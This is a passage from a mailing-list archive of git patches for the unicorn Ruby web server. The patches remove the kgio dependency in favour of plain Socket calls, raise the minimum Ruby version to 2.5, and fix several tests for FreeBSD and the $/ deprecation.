inherited = ENV['UNICORN_FD'].to_s.split(',')
immortal = []
@@ -825,8 +817,6 @@ def inherit_listeners!
inherited.map! do |fd|
io = Socket.for_fd(fd.to_i)
@immortal << io if immortal.include?(fd)
- io.autoclose = false
- io = server_cast(io)
set_server_sockopt(io, listener_opts[sock_name(io)])
logger.info "inherited addr=#{sock_name(io)} fd=#{io.fileno}"
io
@@ -835,11 +825,9 @@ def inherit_listeners!
config_listeners = config[:listeners].dup
LISTENERS.replace(inherited)
- # we start out with generic Socket objects that get cast to either
- # Kgio::TCPServer or Kgio::UNIXServer objects; but since the Socket
- # objects share the same OS-level file descriptor as the higher-level
- # *Server objects; we need to prevent Socket objects from being
- # garbage-collected
+ # we only use generic Socket objects for aggregate Socket#accept_nonblock
+ # return value [ Socket, Addrinfo ]. This allows us to avoid having to
+ # make getpeername(2) syscalls later on to fill in env['REMOTE_ADDR']
config_listeners -= listener_names
if config_listeners.empty? && LISTENERS.empty?
config_listeners << Unicorn::Const::DEFAULT_LISTEN
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index 91a8e51..db9f2cb 100644
--- a/lib/unicorn/oob_gc.rb
+++ b/lib/unicorn/oob_gc.rb
@@ -65,8 +65,8 @@ def self.new(app, interval = 5, path = %r{\A/})
end
#:stopdoc:
- def process_client(client)
- super(client) # Unicorn::HttpServer#process_client
+ def process_client(*args)
+ super(*args) # Unicorn::HttpServer#process_client
env = instance_variable_get(:@request).env
if OOBGC_PATH =~ env['PATH_INFO'] && ((@@nr -= 1) <= 0)
@@nr = OOBGC_INTERVAL
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index c2ba75e..06ec2b2 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -3,32 +3,6 @@
require 'socket'
module Unicorn
-
- # Instead of using a generic Kgio::Socket for everything,
- # tag TCP sockets so we can use TCP_INFO under Linux without
- # incurring extra syscalls for Unix domain sockets.
- # TODO: remove these when we remove kgio
- TCPClient = Class.new(Kgio::Socket) # :nodoc:
- class TCPSrv < Kgio::TCPServer # :nodoc:
- def kgio_tryaccept # :nodoc:
- super(TCPClient)
- end
- end
-
- if IO.instance_method(:write).arity == 1 # Ruby <= 2.4
- require 'unicorn/write_splat'
- UNIXClient = Class.new(Kgio::Socket) # :nodoc:
- class UNIXSrv < Kgio::UNIXServer # :nodoc:
- include Unicorn::WriteSplat
- def kgio_tryaccept # :nodoc:
- super(UNIXClient)
- end
- end
- TCPClient.__send__(:include, Unicorn::WriteSplat)
- else # Ruby 2.5+
- UNIXSrv = Kgio::UNIXServer
- end
-
module SocketHelper
# internal interface
@@ -105,7 +79,7 @@ def set_tcp_sockopt(sock, opt)
def set_server_sockopt(sock, opt)
opt = DEFAULTS.merge(opt || {})
- TCPSocket === sock and set_tcp_sockopt(sock, opt)
+ set_tcp_sockopt(sock, opt) if sock.local_address.ip?
rcvbuf, sndbuf = opt.values_at(:rcvbuf, :sndbuf)
if rcvbuf || sndbuf
@@ -149,7 +123,9 @@ def bind_listen(address = '0.0.0.0:8080', opt = {})
end
old_umask = File.umask(opt[:umask] || 0)
begin
- UNIXSrv.new(address)
+ s = Socket.new(:UNIX, :STREAM)
+ s.bind(Socket.sockaddr_un(address))
+ s
ensure
File.umask(old_umask)
end
@@ -177,8 +153,7 @@ def new_tcp_server(addr, port, opt)
sock.setsockopt(:SOL_SOCKET, :SO_REUSEPORT, 1)
end
sock.bind(Socket.pack_sockaddr_in(port, addr))
- sock.autoclose = false
- TCPSrv.for_fd(sock.fileno)
+ sock
end
# returns rfc2732-style (e.g. "[::1]:666") addresses for IPv6
@@ -194,10 +169,6 @@ def tcp_name(sock)
def sock_name(sock)
case sock
when String then sock
- when UNIXServer
- Socket.unpack_sockaddr_un(sock.getsockname)
- when TCPServer
- tcp_name(sock)
when Socket
begin
tcp_name(sock)
@@ -210,16 +181,5 @@ def sock_name(sock)
end
module_function :sock_name
-
- # casts a given Socket to be a TCPServer or UNIXServer
- def server_cast(sock)
- begin
- Socket.unpack_sockaddr_in(sock.getsockname)
- TCPSrv.for_fd(sock.fileno)
- rescue ArgumentError
- UNIXSrv.for_fd(sock.fileno)
- end
- end
-
end # module SocketHelper
end # module Unicorn
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index ad5814c..4af31be 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -71,8 +71,8 @@ def soft_kill(sig) # :nodoc:
end
# this only runs when the Rack app.call is not running
- # act like a listener
- def kgio_tryaccept # :nodoc:
+ # act like Socket#accept_nonblock(exception: false)
+ def accept_nonblock(*_unused) # :nodoc:
case buf = @to_io.read_nonblock(4, exception: false)
when String
# unpack the buffer and trigger the signal handler
@@ -82,7 +82,7 @@ def kgio_tryaccept # :nodoc:
when nil # EOF: master died, but we are at a safe place to exit
fake_sig(:QUIT)
when :wait_readable # keep waiting
- return false
+ return :wait_readable
end while true # loop, as multiple signals may be sent
end
diff --git a/t/oob_gc.ru b/t/oob_gc.ru
index c253540..224cb06 100644
--- a/t/oob_gc.ru
+++ b/t/oob_gc.ru
@@ -7,9 +7,6 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
- x.closed? or abort "not closed #{x}"
- end
$gc_started = true
end
run lambda { |env|
diff --git a/t/oob_gc_path.ru b/t/oob_gc_path.ru
index af8e3b9..7f40601 100644
--- a/t/oob_gc_path.ru
+++ b/t/oob_gc_path.ru
@@ -7,9 +7,6 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
- x.closed? or abort "not closed #{x}"
- end
$gc_started = true
end
run lambda { |env|
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index 7f22b24..53ae944 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -10,14 +10,9 @@
class RequestTest < Test::Unit::TestCase
- class MockRequest < StringIO
- alias_method :readpartial, :sysread
- alias_method :kgio_read!, :sysread
- alias_method :read_nonblock, :sysread
- def kgio_addr
- '127.0.0.1'
- end
- end
+ MockRequest = Class.new(StringIO)
+
+ AI = Addrinfo.new(Socket.sockaddr_un('/unicorn/sucks'))
def setup
@request = HttpRequest.new
@@ -30,7 +25,7 @@ def setup
def test_options
client = MockRequest.new("OPTIONS * HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '', env['REQUEST_PATH']
assert_equal '', env['PATH_INFO']
assert_equal '*', env['REQUEST_URI']
@@ -40,7 +35,7 @@ def test_options
def test_absolute_uri_with_query
client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'y=z', env['QUERY_STRING']
@@ -50,7 +45,7 @@ def test_absolute_uri_with_query
def test_absolute_uri_with_fragment
client = MockRequest.new("GET http://e:3/x#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal '', env['QUERY_STRING']
@@ -61,7 +56,7 @@ def test_absolute_uri_with_fragment
def test_absolute_uri_with_query_and_fragment
client = MockRequest.new("GET http://e:3/x?a=b#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'a=b', env['QUERY_STRING']
@@ -73,7 +68,7 @@ def test_absolute_uri_unsupported_schemes
%w(ssh+http://e/ ftp://e/x http+ssh://e/x).each do |abs_uri|
client = MockRequest.new("GET #{abs_uri} HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- assert_raises(HttpParserError) { @request.read(client) }
+ assert_raises(HttpParserError) { @request.read_headers(client, AI) }
end
end
@@ -81,7 +76,7 @@ def test_x_forwarded_proto_https
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: https\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "https", env['rack.url_scheme']
assert_kind_of Array, @lint.call(env)
end
@@ -90,7 +85,7 @@ def test_x_forwarded_proto_http
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: http\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "http", env['rack.url_scheme']
assert_kind_of Array, @lint.call(env)
end
@@ -99,14 +94,14 @@ def test_x_forwarded_proto_invalid
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: ftp\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "http", env['rack.url_scheme']
assert_kind_of Array, @lint.call(env)
end
def test_rack_lint_get
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal "http", env['rack.url_scheme']
assert_equal '127.0.0.1', env['REMOTE_ADDR']
assert_kind_of Array, @lint.call(env)
@@ -114,7 +109,7 @@ def test_rack_lint_get
def test_no_content_stringio
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal StringIO, env['rack.input'].class
end
@@ -122,7 +117,7 @@ def test_zero_content_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 0\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal StringIO, env['rack.input'].class
end
@@ -130,7 +125,7 @@ def test_real_content_not_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert_equal Unicorn::TeeInput, env['rack.input'].class
end
@@ -141,7 +136,7 @@ def test_rack_lint_put
"Content-Length: 5\r\n" \
"\r\n" \
"abcde")
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert ! env.include?(:http_body)
assert_kind_of Array, @lint.call(env)
end
@@ -152,14 +147,6 @@ def test_rack_lint_big_put
buf = (' ' * bs).freeze
length = bs * count
client = Tempfile.new('big_put')
- def client.kgio_addr; '127.0.0.1'; end
- def client.kgio_read(*args)
- readpartial(*args)
- rescue EOFError
- end
- def client.kgio_read!(*args)
- readpartial(*args)
- end
client.syswrite(
"PUT / HTTP/1.1\r\n" \
"Host: foo\r\n" \
@@ -167,7 +154,7 @@ def client.kgio_read!(*args)
"\r\n")
count.times { assert_equal bs, client.syswrite(buf) }
assert_equal 0, client.sysseek(0)
- env = @request.read(client)
+ env = @request.read_headers(client, AI)
assert ! env.include?(:http_body)
assert_equal length, env['rack.input'].size
count.times {
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 62d5a3a..a446f06 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -24,7 +24,8 @@ def test_bind_listen_tcp
port = unused_port @test_addr
@tcp_listener_name = "#@test_addr:#{port}"
@tcp_listener = bind_listen(@tcp_listener_name)
- assert TCPServer === @tcp_listener
+ assert Socket === @tcp_listener
+ assert @tcp_listener.local_address.ip?
assert_equal @tcp_listener_name, sock_name(@tcp_listener)
end
@@ -38,10 +39,10 @@ def test_bind_listen_options
{ :backlog => 16, :rcvbuf => 4096, :sndbuf => 4096 }
].each do |opts|
tcp_listener = bind_listen(tcp_listener_name, opts)
- assert TCPServer === tcp_listener
+ assert tcp_listener.local_address.ip?
tcp_listener.close
unix_listener = bind_listen(unix_listener_name, opts)
- assert UNIXServer === unix_listener
+ assert unix_listener.local_address.unix?
unix_listener.close
end
end
@@ -52,11 +53,13 @@ def test_bind_listen_unix
@unix_listener_path = tmp.path
File.unlink(@unix_listener_path)
@unix_listener = bind_listen(@unix_listener_path)
- assert UNIXServer === @unix_listener
+ assert Socket === @unix_listener
+ assert @unix_listener.local_address.unix?
assert_equal @unix_listener_path, sock_name(@unix_listener)
assert File.readable?(@unix_listener_path), "not readable"
assert File.writable?(@unix_listener_path), "not writable"
assert_equal 0777, File.umask
+ assert_equal @unix_listener, bind_listen(@unix_listener)
ensure
File.umask(old_umask)
end
@@ -67,7 +70,6 @@ def test_bind_listen_unix_umask
@unix_listener_path = tmp.path
File.unlink(@unix_listener_path)
@unix_listener = bind_listen(@unix_listener_path, :umask => 077)
- assert UNIXServer === @unix_listener
assert_equal @unix_listener_path, sock_name(@unix_listener)
assert_equal 0140700, File.stat(@unix_listener_path).mode
assert_equal 0777, File.umask
@@ -75,28 +77,6 @@ def test_bind_listen_unix_umask
File.umask(old_umask)
end
- def test_bind_listen_unix_idempotent
- test_bind_listen_unix
- a = bind_listen(@unix_listener)
- assert_equal a.fileno, @unix_listener.fileno
- unix_server = server_cast(@unix_listener)
- assert UNIXServer === unix_server
- a = bind_listen(unix_server)
- assert_equal a.fileno, unix_server.fileno
- assert_equal a.fileno, @unix_listener.fileno
- end
-
- def test_bind_listen_tcp_idempotent
- test_bind_listen_tcp
- a = bind_listen(@tcp_listener)
- assert_equal a.fileno, @tcp_listener.fileno
- tcp_server = server_cast(@tcp_listener)
- assert TCPServer === tcp_server
- a = bind_listen(tcp_server)
- assert_equal a.fileno, tcp_server.fileno
- assert_equal a.fileno, @tcp_listener.fileno
- end
-
def test_bind_listen_unix_rebind
test_bind_listen_unix
new_listener = nil
@@ -107,14 +87,18 @@ def test_bind_listen_unix_rebind
File.unlink(@unix_listener_path)
new_listener = bind_listen(@unix_listener_path)
- assert UNIXServer === new_listener
assert new_listener.fileno != @unix_listener.fileno
assert_equal sock_name(new_listener), sock_name(@unix_listener)
assert_equal @unix_listener_path, sock_name(new_listener)
pid = fork do
- client = server_cast(new_listener).accept
- client.syswrite('abcde')
- exit 0
+ begin
+ client, _ = new_listener.accept
+ client.syswrite('abcde')
+ exit 0
+ rescue => e
+ warn "#{e.message} (#{e.class})"
+ exit 1
+ end
end
s = unix_socket(@unix_listener_path)
IO.select([s])
@@ -123,32 +107,6 @@ def test_bind_listen_unix_rebind
assert status.success?
end
- def test_server_cast
- test_bind_listen_unix
- test_bind_listen_tcp
- unix_listener_socket = Socket.for_fd(@unix_listener.fileno)
- assert Socket === unix_listener_socket
- @unix_server = server_cast(unix_listener_socket)
- assert_equal @unix_listener.fileno, @unix_server.fileno
- assert UNIXServer === @unix_server
- assert_equal(@unix_server.path, @unix_listener.path,
- "##{@unix_server.path} != #{@unix_listener.path}")
- assert File.socket?(@unix_server.path)
- assert_equal @unix_listener_path, sock_name(@unix_server)
-
- tcp_listener_socket = Socket.for_fd(@tcp_listener.fileno)
- assert Socket === tcp_listener_socket
- @tcp_server = server_cast(tcp_listener_socket)
- assert_equal @tcp_listener.fileno, @tcp_server.fileno
- assert TCPServer === @tcp_server
- assert_equal @tcp_listener_name, sock_name(@tcp_server)
- end
-
- def test_sock_name
- test_server_cast
- sock_name(@unix_server)
- end
-
def test_tcp_defer_accept_default
return unless defined?(TCP_DEFER_ACCEPT)
port = unused_port @test_addr
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 2a14135..7986ca7 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -9,7 +9,7 @@ def setup
@rs = "\n"
$/ == "\n" or abort %q{test broken if \$/ != "\\n"}
@env = {}
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
end
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 6f5bc8a..607ce87 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -10,7 +10,7 @@ class TeeInput < Unicorn::TeeInput
class TestTeeInput < Test::Unit::TestCase
def setup
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
@rs = "\n"
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 7bb1154..85183d9 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -36,7 +36,6 @@
# won't have descriptive text, only the numeric status.
s.add_development_dependency(%q<rack>)
- s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('test-unit', '~> 3.0')
[-- Attachment #4: 0003-update-dependency-to-Ruby-2.5.patch --]
[-- Type: text/x-diff, Size: 3257 bytes --]
From c67ebf96edc8ca691dfc556d4813fed242fe77ca Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 5 Sep 2023 09:14:11 +0000
Subject: [RFC 3/3] update dependency to Ruby 2.5+
We actually need Ruby 2.3+ for `accept_nonblock(exception: false)';
and (AFAIK) we can't easily use a subclass of `Socket' while using
Socket#accept_nonblock to inject WriteSplat support for
`IO#write(*multi_args)'
So just depend on Ruby 2.5+ since all my Ruby is already on the
already-ancient Ruby 2.7+ anyways.
---
HACKING | 2 +-
README | 2 +-
lib/unicorn/write_splat.rb | 7 -------
t/README | 2 +-
unicorn.gemspec | 4 ++--
5 files changed, 5 insertions(+), 12 deletions(-)
delete mode 100644 lib/unicorn/write_splat.rb
diff --git a/HACKING b/HACKING
index 020209e..5aca83e 100644
--- a/HACKING
+++ b/HACKING
@@ -60,7 +60,7 @@ becomes unavailable.
=== Ruby/C Compatibility
-We target C Ruby 2.0 and later. We need the Ruby
+We target C Ruby 2.5 and later. We need the Ruby
implementation to support fork, exec, pipe, UNIX signals, access to
integer file descriptors and ability to use unlinked files.
diff --git a/README b/README
index 5411003..7e29daf 100644
--- a/README
+++ b/README
@@ -12,7 +12,7 @@ both the the request and response in between unicorn and slow clients.
cut out everything that is better supported by the operating system,
{nginx}[https://nginx.org/] or {Rack}[https://rack.github.io/].
-* Compatible with Ruby 2.0.0 and later.
+* Compatible with Ruby 2.5 and later.
* Process management: unicorn will reap and restart workers that
die from broken apps. There is no need to manage multiple processes
diff --git a/lib/unicorn/write_splat.rb b/lib/unicorn/write_splat.rb
deleted file mode 100644
index 7e6e363..0000000
--- a/lib/unicorn/write_splat.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# -*- encoding: binary -*-
-# compatibility module for Ruby <= 2.4, remove when we go Ruby 2.5+
-module Unicorn::WriteSplat # :nodoc:
- def write(*arg) # :nodoc:
- super(arg.join(''))
- end
-end
diff --git a/t/README b/t/README
index d09c715..7bd093d 100644
--- a/t/README
+++ b/t/README
@@ -14,7 +14,7 @@ Old tests are in Bourne shell and slowly being ported to Perl 5.
== Requirements
-* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/]
+* {Ruby 2.5.0+}[https://www.ruby-lang.org/en/]
* {Perl 5.14+}[https://www.perl.org/] # your distro should have it
* {GNU make}[https://www.gnu.org/software/make/]
* {curl}[https://curl.haxx.se/]
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 85183d9..e7e3ef7 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,11 +25,11 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # 2.0.0 is the minimum supported version. We don't specify
+ # 2.5.0 is the minimum supported version. We don't specify
# a maximum version to make it easier to test pre-releases,
# but we do warn users if they install unicorn on an untested
# version in extconf.rb
- s.required_ruby_version = ">= 2.0.0"
+ s.required_ruby_version = ">= 2.5.0"
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
^ permalink raw reply related [relevance 9%]
* [PATCH 1-4/4] various test fixes
2023-06-11 22:56 9% [PATCH 0/4] various test fixes Eric Wong
@ 2023-06-11 22:58 26% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-06-11 22:58 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 43 bytes --]
> Attached patches to reduce SMTP
Oops :x
[-- Attachment #2: 0001-t-lib.perl-ignore-errors-from-accept_filter-on-FreeB.patch --]
[-- Type: text/x-diff, Size: 899 bytes --]
From 8271bafb85f75b927f0ea15ec73fc0b1e714665e Mon Sep 17 00:00:00 2001
From: EW <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 10:09:24 +0000
Subject: [PATCH 1/4] t/lib.perl: FreeBSD: ignore accf_* messages
Testers may not have accf_http loaded nor the permissions
to run `kldload accf_http', thus we must ignore these messages.
---
t/lib.perl | 2 ++
1 file changed, 2 insertions(+)
diff --git a/t/lib.perl b/t/lib.perl
index 2685c3b4..fe3404ba 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -22,6 +22,8 @@ sub check_stderr () {
my @log = slurp("$tmpdir/err.log");
diag("@log") if $ENV{V};
my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
+ @err = grep(!/failed to set accept_filter=/, @err);
+ @err = grep(!/perhaps accf_.*? needs to be loaded/, @err);
is_deeply(\@err, [], 'no unexpected errors in stderr');
is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
}
[-- Attachment #3: 0002-t-active-unix-socket-sleep-for-init-8-to-reap-worker.patch --]
[-- Type: text/x-diff, Size: 1012 bytes --]
From a29364769d59e7bc0c67ad045af25f349ae913e8 Mon Sep 17 00:00:00 2001
From: EW <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 10:09:25 +0000
Subject: [PATCH 2/4] t/active-unix-socket: sleep for init(8) to reap worker
Unfortunately, we need a sleep loop here since kill(2) succeeds
on zombies and init(8) doesn't reap the worker soon enough on
a FreeBSD VM.
---
t/active-unix-socket.t | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 4e11837a..4dcc8dc6 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -84,6 +84,10 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
ok(-S $u1, 'socket stayed after SIGKILL');
is(IO::Socket::UNIX->new(Peer => $u1, Type => SOCK_STREAM), undef,
'fail to connect to u1');
+ for (1..50) { # wait for init process to reap worker
+ kill(0, $worker_pid) or last;
+ select(undef, undef, undef, 0.011);
+ }
ok(!kill(0, $worker_pid), 'worker gone after parent dies');
}
[-- Attachment #4: 0003-tests-handle-assignment-deprecation.patch --]
[-- Type: text/x-diff, Size: 4710 bytes --]
From b988e0779814a73876a4a06df0a90a3f85fb08c8 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 11:02:29 +0000
Subject: [PATCH 3/4] tests: handle $/ assignment deprecation
...by testing less. `env["rack.input"].gets' users are out-of-luck
if they want anything other than "\n" or `nil', I suppose...
`$/' is non-thread-local and thus non-thread-safe, which doesn't
affect unicorn itself, but Ruby deprecates it for
single-threaded code, too, unfortunately.
Rack::Lint doesn't allow separator arguments for #gets, either,
so we can't support that, either...
---
test/unit/test_stream_input.rb | 25 ++++++++++++++++---------
test/unit/test_tee_input.rb | 19 +++++++++----------
2 files changed, 25 insertions(+), 19 deletions(-)
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 1a07ec3a..2a14135b 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -6,7 +6,8 @@
class TestStreamInput < Test::Unit::TestCase
def setup
- @rs = $/
+ @rs = "\n"
+ $/ == "\n" or abort %q{test broken if \$/ != "\\n"}
@env = {}
@rd, @wr = Kgio::UNIXSocket.pair
@rd.sync = @wr.sync = true
@@ -15,7 +16,6 @@ def setup
def teardown
return if $$ != @start_pid
- $/ = @rs
@rd.close rescue nil
@wr.close rescue nil
Process.waitall
@@ -54,11 +54,18 @@ def test_gets_multiline
end
def test_gets_empty_rs
- $/ = nil
r = init_request("a\nb\n\n")
si = Unicorn::StreamInput.new(@rd, r)
- assert_equal "a\nb\n\n", si.gets
- assert_nil si.gets
+ pid = fork do # to avoid $/ warning (hopefully)
+ $/ = nil
+ @rd.close
+ @wr.write(si.gets)
+ @wr.close
+ end
+ @wr.close
+ assert_equal "a\nb\n\n", @rd.read
+ pid, status = Process.waitpid2(pid)
+ assert_predicate status, :success?
end
def test_read_with_equal_len
@@ -90,21 +97,21 @@ def test_big_body_multi
end
def test_gets_long
- r = init_request("hello", 5 + (4096 * 4 * 3) + "#$/foo#$/".size)
+ r = init_request("hello", 5 + (4096 * 4 * 3) + "#{@rs}foo#{@rs}".size)
si = Unicorn::StreamInput.new(@rd, r)
status = line = nil
pid = fork {
@rd.close
3.times { @wr.write("ffff" * 4096) }
- @wr.write "#$/foo#$/"
+ @wr.write "#{@rs}foo#{@rs}"
@wr.close
}
@wr.close
line = si.gets
assert_equal(4096 * 4 * 3 + 5 + $/.size, line.size)
- assert_equal("hello" << ("ffff" * 4096 * 3) << "#$/", line)
+ assert_equal("hello" << ("ffff" * 4096 * 3) << "#{@rs}", line)
line = si.gets
- assert_equal "foo#$/", line
+ assert_equal "foo#{@rs}", line
assert_nil si.gets
pid, status = Process.waitpid2(pid)
assert status.success?
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 4647e661..6f5bc8a7 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -9,17 +9,16 @@ class TeeInput < Unicorn::TeeInput
end
class TestTeeInput < Test::Unit::TestCase
-
def setup
- @rs = $/
@rd, @wr = Kgio::UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
+ @rs = "\n"
+ $/ == "\n" or abort %q{test broken if \$/ != "\\n"}
end
def teardown
return if $$ != @start_pid
- $/ = @rs
@rd.close rescue nil
@wr.close rescue nil
begin
@@ -37,38 +36,38 @@ def check_tempfiles
end
def test_gets_long
- r = init_request("hello", 5 + (4096 * 4 * 3) + "#$/foo#$/".size)
+ r = init_request("hello", 5 + (4096 * 4 * 3) + "#{@rs}foo#{@rs}".size)
ti = TeeInput.new(@rd, r)
status = line = nil
pid = fork {
@rd.close
3.times { @wr.write("ffff" * 4096) }
- @wr.write "#$/foo#$/"
+ @wr.write "#{@rs}foo#{@rs}"
@wr.close
}
@wr.close
line = ti.gets
assert_equal(4096 * 4 * 3 + 5 + $/.size, line.size)
- assert_equal("hello" << ("ffff" * 4096 * 3) << "#$/", line)
+ assert_equal("hello" << ("ffff" * 4096 * 3) << "#{@rs}", line)
line = ti.gets
- assert_equal "foo#$/", line
+ assert_equal "foo#{@rs}", line
assert_nil ti.gets
pid, status = Process.waitpid2(pid)
assert status.success?
end
def test_gets_short
- r = init_request("hello", 5 + "#$/foo".size)
+ r = init_request("hello", 5 + "#{@rs}foo".size)
ti = TeeInput.new(@rd, r)
status = line = nil
pid = fork {
@rd.close
- @wr.write "#$/foo"
+ @wr.write "#{@rs}foo"
@wr.close
}
@wr.close
line = ti.gets
- assert_equal("hello#$/", line)
+ assert_equal("hello#{@rs}", line)
line = ti.gets
assert_equal "foo", line
assert_nil ti.gets
[-- Attachment #5: 0004-tests-ensure-t-random_blob-exists-before-Perl-tests.patch --]
[-- Type: text/x-diff, Size: 887 bytes --]
From 42028bf5b0327f7e8816ef294d215ae6bb085fc6 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 6 Jun 2023 11:44:29 +0000
Subject: [PATCH 4/4] tests: ensure t/random_blob exists before Perl tests
Allow overriding `PROVE=' while we're at it, too; since
development installations of Perl5 may name it `prove5.$MINOR'
or similar.
---
GNUmakefile | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index eab90829..70e7e108 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -11,6 +11,7 @@ RSYNC = rsync
OLDDOC = olddoc
RDOC = rdoc
INSTALL = install
+PROVE = prove
GIT-VERSION-FILE: .FORCE-GIT-VERSION-FILE
@./GIT-VERSION-GEN
@@ -141,8 +142,8 @@ t/random_blob:
test-integration: $(T_sh)
-test-prove:
- prove -vw
+test-prove: t/random_blob
+ $(PROVE) -vw
check: test-require test test-integration
test-all: check
^ permalink raw reply related [relevance 26%]
* [PATCH 0/4] various test fixes
@ 2023-06-11 22:56 9% Eric Wong
2023-06-11 22:58 26% ` [PATCH 1-4/4] " Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2023-06-11 22:56 UTC (permalink / raw)
To: unicorn-public
Nothing affecting core code, just some portability and
future-proofing changes. Attached patches to reduce SMTP
traffic.
Reminder: you are encouraged to unsubscribe using the
List-Unsubscribe header. IMAP, NNTP, POP3 and git access
to archives are available and more reliable:
https://yhbt.net/unicorn-public/_/text/mirror/
Or give up on using unicorn and/or Ruby entirely :P
Eric Wong (4):
t/lib.perl: ignore errors from accept_filter on FreeBSD
t/active-unix-socket: sleep for init(8) to reap worker
tests: handle $/ assignment deprecation
tests: ensure t/random_blob exists before Perl tests
GNUmakefile | 5 +++--
t/active-unix-socket.t | 4 ++++
t/lib.perl | 2 ++
test/unit/test_stream_input.rb | 25 ++++++++++++++++---------
test/unit/test_tee_input.rb | 19 +++++++++----------
5 files changed, 34 insertions(+), 21 deletions(-)
^ permalink raw reply [relevance 9%]
* [PATCH 00-23/23] start porting tests to Perl5
@ 2023-06-05 10:32 12% Eric Wong
